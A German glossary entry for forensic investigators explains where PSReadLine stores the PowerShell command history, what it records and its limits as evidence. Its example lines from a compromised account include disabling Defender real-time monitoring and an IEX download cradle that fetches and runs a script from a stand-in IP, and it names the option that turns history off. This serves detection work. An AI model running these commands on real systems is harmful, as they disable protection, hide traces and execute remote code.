Glossar
PSReadLine
Der Zeileneditor der PowerShell-Konsole, der den interaktiven Befehlsverlauf ohne Zeitstempel in ConsoleHost_history.txt speichert.
PSReadLine ist das Modul zur Befehlszeilenbearbeitung, das die PowerShell-Konsole standardmäßig lädt und das seit PowerShell 5 unter Windows 10 fest mitgeliefert wird. Neben Syntaxhervorhebung und Tastenbelegungen führt es einen dauerhaften Verlauf: Jeder Befehl, den ein Benutzer an der Eingabeaufforderung bestätigt, wird an eine Klartextdatei im servergespeicherten Profil (Roaming) dieses Benutzers angehängt. Für Ermittler ist diese Datei oft die direkteste Aufzeichnung dessen, was eine Person tatsächlich eingetippt hat.
Warum es für Untersuchungen wichtig ist
Die Verlaufsdatei übersteht Neustarts und neue Sitzungen und kann daher Wochen oder Monate vor den ältesten Eintrag in den Ereignisprotokollen zurückreichen. Sie erfasst Befehle außerdem genau so, wie sie eingetippt wurden, einschließlich eines -EncodedCommand-Blobs, den die Skriptblockprotokollierung nur in dekodierter Form speichern würde. Sie hat aber harte Grenzen:
- Keine Zeitstempel. Die Reihenfolge der Zeilen ist die einzige Chronologie; um einen Befehl zeitlich einzuordnen, gleichen Sie ihn mit einem 4104- oder 800-Ereignis oder mit einem Transkript ab.
- Nur interaktive Konsoleneingaben. Skripte, geplante Aufgaben, WinRM-Sitzungen und Nicht-Konsolen-Hosts werden hier nicht aufgezeichnet.
- Leicht zu manipulieren. Ein Angreifer kann die Datei löschen oder kürzen oder das Speichern mit
Set-PSReadLineOption -HistorySaveStyle SaveNothingabschalten. - Eingetippt heißt nicht ausgeführt. Tippfehler und abgebrochene Befehle werden ebenfalls gespeichert.
Beispiel
Der Standardspeicherort für die normale Konsole von powershell.exe ist:
%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Andere Hosts schreiben <HostName>_history.txt, und (Get-PSReadLineOption).HistorySavePath zeigt den aktiven Pfad. Einige Zeilen aus einem kompromittierten Konto könnten so aussehen:
whoami /groups
Set-MpPreference -DisableRealtimeMonitoring $true
IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.23/a.ps1')
Ein mehrzeiliger Befehl wird mit einem abschließenden Backtick in jeder Zeile außer der letzten gespeichert; der Parser fügt diese Zeilen wieder zu einem einzigen Eintrag zusammen und markiert die Manipulation an Defender und das Download-Cradle oben sowie Befehle, die den Verlauf leeren oder löschen.
Verwandte Begriffe
- PowerShell-Transkription, die Ein- und Ausgabe mit lokalen Zeitstempeln aufzeichnet
- Ereignis-ID 4104, um einen eingetippten Befehl zeitlich einzuordnen
- Download-Cradle und kodierter Befehl, beide häufig in Verlaufszeilen
Lesen Sie eine Verlaufsdatei im PowerShell Parser neben den Ereignisprotokollen, und lesen Sie unter Forensik von ConsoleHost_history.txt die vollständige Schritt-für-Schritt-Anleitung.